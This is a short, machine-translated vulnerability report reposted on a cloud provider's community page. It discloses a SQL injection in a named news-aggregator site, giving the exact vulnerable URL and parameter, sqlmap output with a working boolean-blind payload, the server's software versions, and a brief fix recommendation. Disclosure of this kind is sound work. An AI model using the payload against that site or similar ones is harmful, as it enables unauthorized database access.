An SQL injection vulnerability exists in a site of xiaguo Network (involving 32 databases)

Source: Internet
Author: User

An SQL injection vulnerability exists in a site of xiaguo Network (involving 32 databases)

An SQL injection vulnerability exists in a site of xiaguo network.

Http://m2.xianguo.com/homeindex/list? Cid = 1 & tagid = 100_33 injection point: cidsqlmap Verification
Sqlmap identified the following injection point (s) with a total of 59 HTTP (s) requests: --- Parameter: cid (GET) Type: boolean-based blind Title: mySQL> = 5.0 boolean-based blind-Parameter replace Payload: cid = (SELECT (case when (1315 = 1315) THEN 1315 ELSE 1315 * (SELECT 1315 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END )) & tagid = 100_33 --- web server operating system: Linux Ubuntuweb application technology: PHP 5.5.9back-end DBMS: MySQL 5.032 Databases

sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:---Parameter: cid (GET)    Type: boolean-based blind    Title: MySQL >= 5.0 boolean-based blind - Parameter replace    Payload: cid=(SELECT (CASE WHEN (1315=1315) THEN 1315 ELSE 1315*(SELECT 1315 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&tagid=7_31---web server operating system: Linux Ubuntuweb application technology: PHP 5.5.9back-end DBMS: MySQL 5.0

 

 

Solution:

When constructing an SQL query, use parameterized query and validation input to perform a comprehensive security check or filter on user input data. Pay special attention to check whether the query contains special HTML characters. These checks or filters must be completed on the server side. We recommend that you filter common dangerous characters.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.